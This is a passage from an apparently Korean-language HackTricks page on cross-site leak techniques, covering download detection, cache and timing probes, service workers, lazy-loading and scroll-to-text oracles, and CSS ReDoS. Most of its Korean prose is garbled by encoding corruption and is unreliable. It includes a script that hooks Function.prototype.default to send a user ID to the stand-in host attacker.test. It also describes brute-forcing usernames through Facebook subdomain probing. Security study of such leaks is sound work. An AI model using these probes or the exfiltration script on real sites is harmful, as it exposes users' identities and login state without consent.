๊ฒƒ์ฒ˜๋Ÿผ ๊ณ„์‚ฐ๋œ ์Šคํƒ€์ผ์„ ๋ฐ˜ํ™˜ํ•˜๊ณ  :visited ์„ ํƒ์ž์— ์ ์šฉ ๊ฐ€๋Šฅํ•œ ์Šคํƒ€์ผ์„ ์ œํ•œํ•˜๋Š” ์กฐ์น˜๊ฐ€ ํฌํ•จ๋ฉ๋‹ˆ๋‹ค.

์ด๋Ÿฌํ•œ ์ œํ•œ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  link์˜ ๋ฐฉ๋ฌธ ์—ฌ๋ถ€๋ฅผ ๊ฐ„์ ‘์ ์œผ๋กœ ํŒ๋ณ„ํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ์กด์žฌํ•ฉ๋‹ˆ๋‹ค. ํ•œ ๊ธฐ๋ฒ•์€ ์‚ฌ์šฉ์ž๋ฅผ CSS ์˜ํ–ฅ์„ ๋ฐ›๋Š” ์˜์—ญ๊ณผ ์ƒํ˜ธ์ž‘์šฉํ•˜๋„๋ก ์œ ๋„ํ•˜๋Š” ๊ฒƒ์œผ๋กœ, ํŠนํžˆ mix-blend-mode ์†์„ฑ์„ ์ด์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด ์†์„ฑ์€ ์š”์†Œ๋ฅผ ๋ฐฐ๊ฒฝ๊ณผ ๋ธ”๋ Œ๋”ฉํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜์—ฌ ์‚ฌ์šฉ์ž ์ƒํ˜ธ์ž‘์šฉ์— ๋”ฐ๋ผ ๋ฐฉ๋ฌธ ์ƒํƒœ๋ฅผ ๋“œ๋Ÿฌ๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋˜ํ•œ, ๋ Œ๋”๋ง ํƒ€์ด๋ฐ์„ ์•…์šฉํ•ด ์‚ฌ์šฉ์ž ์ƒํ˜ธ์ž‘์šฉ ์—†์ด ๋ฐฉ๋ฌธ ์—ฌ๋ถ€๋ฅผ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๋ฐฉ๋ฌธํ•œ ๋งํฌ์™€ ๋ฐฉ๋ฌธํ•˜์ง€ ์•Š์€ ๋งํฌ๋ฅผ ๋‹ค๋ฅด๊ฒŒ ๋ Œ๋”๋งํ•˜๋ฉด ๋ Œ๋”๋ง์— ์ธก์ • ๊ฐ€๋Šฅํ•œ ์‹œ๊ฐ„ ์ฐจ์ด๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Chromium ๋ฒ„๊ทธ ๋ฆฌํฌํŠธ์— ์–ธ๊ธ‰๋œ PoC๋Š” ์ด ํƒ€์ด๋ฐ ์ฐจ์ด๋ฅผ ์ฆํญํ•˜๊ธฐ ์œ„ํ•ด ์—ฌ๋Ÿฌ ๋งํฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฐฉ๋ฌธ ์ƒํƒœ๋ฅผ timing ๋ถ„์„์œผ๋กœ ๊ฐ์ง€ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค.

์ด ์†์„ฑ๊ณผ ๋ฐฉ๋ฒ•๋“ค์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋Š” ๋‹ค์Œ ๋ฌธ์„œ๋ฅผ ์ฐธ๊ณ ํ•˜์„ธ์š”:

ContentDocument X-Frame Leak

Chrome์—์„œ๋Š” X-Frame-Options ํ—ค๋”๊ฐ€ โ€œdenyโ€ ๋˜๋Š” โ€œsame-originโ€œ์œผ๋กœ ์„ค์ •๋œ ํŽ˜์ด์ง€๊ฐ€ object๋กœ ํฌํ•จ๋˜์—ˆ์„ ๋•Œ ์—๋Ÿฌ ํŽ˜์ด์ง€๊ฐ€ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค. Chrome์€ iframe์ด๋‚˜ ๋‹ค๋ฅธ ๋ธŒ๋ผ์šฐ์ €์™€ ๋‹ฌ๋ฆฌ ์ด object์˜ contentDocument ์†์„ฑ์— ๋Œ€ํ•ด null ๋Œ€์‹  ๋นˆ ๋ฌธ์„œ ๊ฐ์ฒด๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋Š” ๋…ํŠนํ•œ ๋™์ž‘์„ ๋ณด์ž…๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ์ด ๋นˆ ๋ฌธ์„œ๋ฅผ ๊ฐ์ง€ํ•˜์—ฌ ์‚ฌ์šฉ์ž์˜ ์ƒํƒœ์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์œ ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฐœ๋ฐœ์ž๊ฐ€ X-Frame-Options ํ—ค๋” ์„ค์ •์„ ์ผ๊ด€๋˜๊ฒŒ ์ ์šฉํ•˜์ง€ ์•Š์•„ ์—๋Ÿฌ ํŽ˜์ด์ง€๋ฅผ ๋†“์น˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์ข…์ข… ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์ฃผ์˜์™€ ์ผ๊ด€๋œ ๋ณด์•ˆ ํ—ค๋” ์ ์šฉ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.

Download Detection

Content-Disposition ํ—ค๋” ์ค‘ Content-Disposition: attachment๋Š” ๋ธŒ๋ผ์šฐ์ €์—๊ฒŒ ์ฝ˜ํ…์ธ ๋ฅผ ์ธ๋ผ์ธ์œผ๋กœ ํ‘œ์‹œํ•˜์ง€ ์•Š๊ณ  ๋‹ค์šด๋กœ๋“œํ•˜๋„๋ก ์ง€์‹œํ•ฉ๋‹ˆ๋‹ค. ์ด ๋™์ž‘์„ ์ด์šฉํ•˜๋ฉด ๊ณต๊ฒฉ์ž๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ๋ฅผ ์œ ๋ฐœํ•˜๋Š” ํŽ˜์ด์ง€์— ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ๋Š”์ง€ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Chromium ๊ธฐ๋ฐ˜ ๋ธŒ๋ผ์šฐ์ €์—์„œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ช‡ ๊ฐ€์ง€ ๊ธฐ๋ฒ•์œผ๋กœ ์ด ๋‹ค์šด๋กœ๋“œ ๋™์ž‘์„ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  1. Download Bar ๋ชจ๋‹ˆํ„ฐ๋ง:
  • Chromium ๊ธฐ๋ฐ˜ ๋ธŒ๋ผ์šฐ์ €์—์„œ ํŒŒ์ผ์„ ๋‹ค์šด๋กœ๋“œํ•˜๋ฉด ๋ธŒ๋ผ์šฐ์ € ์ฐฝ ํ•˜๋‹จ์— download bar๊ฐ€ ๋‚˜ํƒ€๋‚ฉ๋‹ˆ๋‹ค.
  • ์ฐฝ ๋†’์ด์˜ ๋ณ€ํ™”๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•จ์œผ๋กœ์จ ๊ณต๊ฒฉ์ž๋Š” download bar์˜ ์ถœํ˜„์„ ์ถ”๋ก ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ๋‹ค์šด๋กœ๋“œ๊ฐ€ ์‹œ์ž‘๋˜์—ˆ์Œ์„ ์•”์‹œํ•ฉ๋‹ˆ๋‹ค.
  1. Iframes๋ฅผ ์ด์šฉํ•œ Download Navigation:
  • Content-Disposition: attachment ํ—ค๋”๋กœ ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ๋ฅผ ์œ ๋ฐœํ•˜๋Š” ํŽ˜์ด์ง€๋Š” ๋„ค๋น„๊ฒŒ์ด์…˜ ์ด๋ฒคํŠธ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
  • ํ•ด๋‹น ์ฝ˜ํ…์ธ ๋ฅผ iframe์— ๋กœ๋“œํ•˜๊ณ  ๋„ค๋น„๊ฒŒ์ด์…˜ ์ด๋ฒคํŠธ๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๋ฉด, ์ฝ˜ํ…์ธ ๊ฐ€ ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ๋ฅผ ์œ ๋ฐœํ•˜๋Š”์ง€(๋„ค๋น„๊ฒŒ์ด์…˜ ์—†์Œ) ์•„๋‹ˆ๋ฉด ์ธ๋ผ์ธ์œผ๋กœ ํ‘œ์‹œ๋˜๋Š”์ง€(๋„ค๋น„๊ฒŒ์ด์…˜ ๋ฐœ์ƒํ•˜๋Š”์ง€)๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  1. Iframes ์—†์ด Download Navigation:
  • iframe ๊ธฐ๋ฒ•๊ณผ ์œ ์‚ฌํ•˜๊ฒŒ, ์ด ๋ฐฉ๋ฒ•์€ iframe ๋Œ€์‹  window.open์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • ์ƒˆ๋กœ ์—ด๋ฆฐ ์ฐฝ์—์„œ ๋„ค๋น„๊ฒŒ์ด์…˜ ์ด๋ฒคํŠธ๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๋ฉด ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ๊ฐ€ ํŠธ๋ฆฌ๊ฑฐ๋˜์—ˆ๋Š”์ง€(๋„ค๋น„๊ฒŒ์ด์…˜ ์—†์Œ) ์•„๋‹ˆ๋ฉด ์ฝ˜ํ…์ธ ๊ฐ€ ์ธ๋ผ์ธ์œผ๋กœ ํ‘œ์‹œ๋˜์—ˆ๋Š”์ง€(๋„ค๋น„๊ฒŒ์ด์…˜ ๋ฐœ์ƒ) ํŒ๋‹จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๋Ÿฌํ•œ ๋‹ค์šด๋กœ๋“œ๋Š” ๋กœ๊ทธ์ธํ•œ ์‚ฌ์šฉ์ž๋งŒ ํŠธ๋ฆฌ๊ฑฐํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์œผ๋ฏ€๋กœ, ์ด ๊ธฐ๋ฒ•๋“ค์€ ๋‹ค์šด๋กœ๋“œ ์š”์ฒญ์— ๋Œ€ํ•œ ๋ธŒ๋ผ์šฐ์ €์˜ ์‘๋‹ต์„ ๊ธฐ๋ฐ˜์œผ๋กœ ์‚ฌ์šฉ์ž์˜ ์ธ์ฆ ์ƒํƒœ๋ฅผ ๊ฐ„์ ‘์ ์œผ๋กœ ์ถ”๋ก ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Partitioned HTTP Cache Bypass

Warning

This is why this technique is interesting: Chrome now has cache partitioning, and the cache key of the newly opened page is: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), but if I open an ngrok page and use fetch in it, the cache key will be: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), the cache key is different, so the cache cannot be shared. You can find more detail here: Gaining security and privacy by partitioning the cache
(Comment from here)

์‚ฌ์ดํŠธ example.com์ด *.example.com/resource์—์„œ ๋ฆฌ์†Œ์Šค๋ฅผ ํฌํ•จํ•˜๋ฉด, ํ•ด๋‹น ๋ฆฌ์†Œ์Šค๋Š” ํƒ‘๋ ˆ๋ฒจ ๋„ค๋น„๊ฒŒ์ด์…˜์„ ํ†ตํ•ด ์ง์ ‘ ์š”์ฒญํ•œ ๊ฒƒ๊ณผ ๊ฐ™์€ ์บ์‹ฑ ํ‚ค๋ฅผ ๊ฐ–์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์บ์‹ฑ ํ‚ค๊ฐ€ ํƒ‘๋ ˆ๋ฒจ์˜ _eTLD+1_๊ณผ ํ”„๋ ˆ์ž„์˜ _eTLD+1_์œผ๋กœ ๊ตฌ์„ฑ๋˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

์บ์‹œ ์ ‘๊ทผ์€ ๋ฆฌ์†Œ์Šค ๋กœ๋“œ๋ณด๋‹ค ๋” ๋น ๋ฅด๋ฏ€๋กœ, ํŽ˜์ด์ง€์˜ ์œ„์น˜๋ฅผ ๋ณ€๊ฒฝํ•˜๊ณ  ์˜ˆ๋ฅผ ๋“ค์–ด 20ms ํ›„์— ์ทจ์†Œํ•ด ๋ณด๋Š” ์‹์œผ๋กœ ์บ์‹œ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋งŒ์•ฝ ์ค‘๋‹จ ํ›„์— origin์ด ๋ณ€๊ฒฝ๋˜์—ˆ๋‹ค๋ฉด ํ•ด๋‹น ๋ฆฌ์†Œ์Šค๊ฐ€ ์บ์‹œ๋˜์–ด ์žˆ์—ˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.
๋˜๋Š” ๋‹จ์ˆœํžˆ ์ž ์žฌ์ ์œผ๋กœ ์บ์‹œ๋œ ํŽ˜์ด์ง€์— fetch๋ฅผ ๋ณด๋‚ด๊ณ  ์†Œ์š” ์‹œ๊ฐ„์„ ์ธก์ •ํ•ด๋„ ๋ฉ๋‹ˆ๋‹ค.

Manual Redirect

Fetch with AbortController

_fetch_์™€ _setTimeout_์„ AbortController์™€ ํ•จ๊ป˜ ์‚ฌ์šฉํ•˜์—ฌ ํŠน์ • ๋ฆฌ์†Œ์Šค๊ฐ€ ์บ์‹œ๋˜์—ˆ๋Š”์ง€ ๊ฐ์ง€ํ•˜๊ณ  ๋ธŒ๋ผ์šฐ์ € ์บ์‹œ์—์„œ ํŠน์ • ๋ฆฌ์†Œ์Šค๋ฅผ ์ œ๊ฑฐ(evict)ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ ์ด ๊ณผ์ •์€ ์ƒˆ๋กœ์šด ์ฝ˜ํ…์ธ ๋ฅผ ์บ์‹ฑํ•˜์ง€ ์•Š๊ณ  ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

Script Pollution

ํ”„๋กœํ† ํƒ€์ž… ํ›…์„ ์ด์šฉํ•œ ๋ชจ๋“ˆ ๋ฒ”์œ„ ๋ฐ์ดํ„ฐ ์ถ”์ถœ

๋ชจ๋“ˆ์„ ๋กœ๋“œํ•˜๊ธฐ ์ „์— Function.prototype.default์™€ Function.prototype.__esModule = 1์„ ๋ฏธ๋ฆฌ ์ •์˜ํ•˜๋ฉด, ํ•ด๋‹น ๋ชจ๋“ˆ์˜ default export๊ฐ€ ๋‹น์‹ ์˜ ํ›…์„ ํ˜ธ์ถœํ•˜๊ฒŒ ๋˜์–ด(e.g., {userID: ...}๋ฅผ ๋ฐ›์Œ) timing์ด๋‚˜ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ์—†์ด ๋ชจ๋“ˆ ๋ฒ”์œ„์˜ ๊ฐ’์„ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

<script>
Function.prototype.default=(e)=>{if(typeof e.userID==="string")fetch("//attacker.test/?id="+e.userID)}
Function.prototype.__esModule=1
</script>
<script src="https://www.facebook.com/signals/iwl.js?pixel_id=PIXEL_ID"></script>

The request itself also becomes a login-state oracle if the script only loads for authenticated users.

Service Workers

In the given scenario, the attacker takes the initiative to register a service worker within one of their domains, specifically โ€œattacker.comโ€. Next, the attacker opens a new window in the target website from the main document and instructs the service worker to commence a timer. As the new window begins to load, the attacker navigates the reference obtained in the previous step to a page managed by the service worker.

Upon arrival of the request initiated in the preceding step, the service worker responds with a 204 (No Content) status code, effectively terminating the navigation process. At this point, the service worker captures a measurement from the timer initiated earlier in step two. This measurement is influenced by the duration of JavaScript causing delays in the navigation process.

Warning

์‹คํ–‰ ํƒ€์ด๋ฐ ๊ณต๊ฒฉ์—์„œ๋Š” ๋„คํŠธ์›Œํฌ ์š”์ธ์„ ์ œ๊ฑฐํ•˜์—ฌ ๋” ์ •๋ฐ€ํ•œ ์ธก์ •๊ฐ’์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ํŽ˜์ด์ง€์—์„œ ์‚ฌ์šฉํ•˜๋Š” ๋ฆฌ์†Œ์Šค๋ฅผ ๋ฏธ๋ฆฌ ๋กœ๋“œํ•œ ํ›„์— ํŽ˜์ด์ง€๋ฅผ ๋กœ๋“œํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ ๋„คํŠธ์›Œํฌ ๋ณ€๋™์„ ์ค„์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Fetch Timing

Cross-Window Timing

Subdomain probing for identity/login state

  • Inclusion Methods: HTML Elements (script), Frames
  • Detectable Difference: DNS/HTTP load success, CORB/header changes
  • Summary: If identifiers live in subdomain labels (e.g., www.<username>.sb.facebook.com), request resources on candidate hosts and treat onload vs onerror/timeouts as a Boolean. Combine with login-only scripts (e.g., /signals/iwl.js) to brute-force usernames and verify auth to related properties.
  • Note: Signals can be amplified with different inclusion types (script, iframe, object) to detect X-Frame-Options, CORB, or redirect differences per candidate.

With HTML or Re Injection

์—ฌ๊ธฐ์„œ๋Š” cross-origin HTML์— HTML ์ฝ˜ํ…์ธ ๋ฅผ ์ฃผ์ž…ํ•˜๋Š” ์ƒํ™ฉ์—์„œ ์ •๋ณด๋ฅผ ์œ ์ถœ(exfiltrate)ํ•˜๋Š” ๊ธฐ๋ฒ•๋“ค์„ ์„ค๋ช…ํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ธฐ๋ฒ•๋“ค์€ ์–ด๋–ค ์ด์œ ๋กœ๋“  HTML์€ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์ง€๋งŒ JS ์ฝ”๋“œ๋Š” ์ฃผ์ž…ํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ์— ํŠนํžˆ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.

Dangling Markup

Dangling Markup - HTML scriptless injection

Image Lazy Loading

๋งŒ์•ฝ ์ฝ˜ํ…์ธ ๋ฅผ exfiltrateํ•ด์•ผ ํ•˜๊ณ  ๋น„๋ฐ€(secret) ์•ž์— HTML์„ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ๋Š” ์ƒํ™ฉ์ด๋ผ๋ฉด common dangling markup techniques์„ ๋จผ์ € ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
ํ•˜์ง€๋งŒ ์–ด๋–ค ์ด์œ ๋กœ๋“  ๋ฐ˜๋“œ์‹œ(char by char) ํ•˜๋‚˜์”ฉ ๋นผ๋‚ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ(์˜ˆ: ํ†ต์‹ ์ด ์บ์‹œ ํžˆํŠธ๋กœ ์ด๋ฃจ์–ด์ง€๋Š” ๊ฒฝ์šฐ)์—๋Š” ์ด ํŠธ๋ฆญ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Images ํƒœ๊ทธ๋Š” โ€œloadingโ€ ์†์„ฑ์„ ๊ฐ€์ง€๋ฉฐ ๊ทธ ๊ฐ’์œผ๋กœ โ€œlazyโ€œ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ ์ด๋ฏธ์ง€๋Š” ํŽ˜์ด์ง€ ๋กœ๋“œ ์‹œ์ ์ด ์•„๋‹ˆ๋ผ ์‚ฌ์šฉ์ž๊ฐ€ ํ•ด๋‹น ์ด๋ฏธ์ง€๋ฅผ ๋ณผ ๋•Œ ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค:

<img src=/something loading=lazy >

๋”ฐ๋ผ์„œ ํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์€ ๋งŽ์€ junk chars๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค (์˜ˆ: ์ˆ˜์ฒœ ๊ฐœ์˜ โ€œWโ€)๋กœ secret ์•ž์˜ ์›น ํŽ˜์ด์ง€๋ฅผ ์ฑ„์šฐ๊ฑฐ๋‚˜ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์š”์†Œ๋ฅผ ์ถ”๊ฐ€ <br><canvas height="1850px"></canvas><br>.
๊ทธ๋Ÿฐ ๋‹ค์Œ ์˜ˆ๋ฅผ ๋“ค์–ด ์šฐ๋ฆฌ์˜ injection appear before the flag, image๋Š” loaded๋˜์ง€๋งŒ, after์— ๋‚˜ํƒ€๋‚˜๋ฉด flag + ์ •ํฌ๊ฐ€ prevent it from being loadedํ•ฉ๋‹ˆ๋‹ค (์–ผ๋งˆ๋‚˜ ๋งŽ์€ ์ •ํฌ๋ฅผ ๋„ฃ์„์ง€ ์กฐ์ ˆํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค). ์ด๊ฑด this writeup์—์„œ ๋ฐœ์ƒํ•œ ์ผ์ž…๋‹ˆ๋‹ค.

Another option would be to use the scroll-to-text-fragment if allowed:

Scroll-to-text-fragment

ํ•˜์ง€๋งŒ, ์˜ˆ๋ฅผ ๋“ค์–ด ๋‹ค์Œ๊ณผ ๊ฐ™์ด bot access the page ํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค:

#:~:text=SECR

์˜ˆ๋ฅผ ๋“ค์–ด ์›น ํŽ˜์ด์ง€๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค: https://victim.com/post.html#:~:text=SECR

post.html์—๋Š” ๊ณต๊ฒฉ์ž์˜ junk chars์™€ lazy load image๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ๊ณ , ๊ทธ ์•„๋ž˜์— ๋ด‡์˜ ๋น„๋ฐ€์ด ์ถ”๊ฐ€๋ฉ๋‹ˆ๋‹ค.

์ด ํ…์ŠคํŠธ๋Š” ๋ด‡์ด ํŽ˜์ด์ง€ ๋‚ด์—์„œ SECR ํ…์ŠคํŠธ๋ฅผ ํฌํ•จํ•˜๋Š” ๋ชจ๋“  ํ…์ŠคํŠธ์— ์ ‘๊ทผํ•˜๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค. ํ•ด๋‹น ํ…์ŠคํŠธ๊ฐ€ ๋น„๋ฐ€์ด๊ณ  ์ด๋ฏธ์ง€ ๋ฐ”๋กœ ์•„๋ž˜์— ์žˆ์œผ๋ฏ€๋กœ, ์ถ”์ •ํ•œ ๋น„๋ฐ€์ด ์ •ํ™•ํ•  ๋•Œ์—๋งŒ ์ด๋ฏธ์ง€๊ฐ€ ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ํ•ด์„œ ๋น„๋ฐ€์„ ํ•œ ๊ธ€์ž์”ฉ exfiltrateํ•  ์ˆ˜ ์žˆ๋Š” ์˜ค๋ผํด์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Some code example to exploit this: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Image Lazy Loading Time Based

If itโ€™s not possible to load an external image that could indicate the attacker that the image was loaded, another option would be to try to guess the char several times and measure that. If the image is loaded all the requests would take longer that if the image isnโ€™t loaded. This is what was used in the solution of this writeup ์š”์•ฝํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

Event Loop Blocking + Lazy images

ReDoS

Regular expression Denial of Service - ReDoS

CSS ReDoS

jQuery(location.hash)๊ฐ€ ์‚ฌ์šฉ๋˜๋Š” ๊ฒฝ์šฐ, ํƒ€์ด๋ฐ์„ ํ†ตํ•ด ์ผ๋ถ€ HTML ์ฝ˜ํ…์ธ ๊ฐ€ ์กด์žฌํ•˜๋Š”์ง€ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์„ ํƒ์ž main[id='site-main']๊ฐ€ ์ผ์น˜ํ•˜์ง€ ์•Š์œผ๋ฉด ๋‚˜๋จธ์ง€ selectors๋ฅผ ํ™•์ธํ•  ํ•„์š”๊ฐ€ ์—†๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค:

$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)

CSS Injection

CSS Injection

์™„ํ™”์ฑ…

๊ถŒ์žฅ๋˜๋Š” ์™„ํ™”์ฑ…์€ https://xsinator.com/paper.pdf์™€ ์œ„ํ‚ค์˜ ๊ฐ ์„น์…˜ https://xsleaks.dev/์— ์ •๋ฆฌ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ธฐ๋ฒ•์œผ๋กœ๋ถ€ํ„ฐ ๋ณดํ˜ธํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ ํ•ด๋‹น ์ž๋ฃŒ๋“ค์„ ์ฐธ๊ณ ํ•˜์„ธ์š”.

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ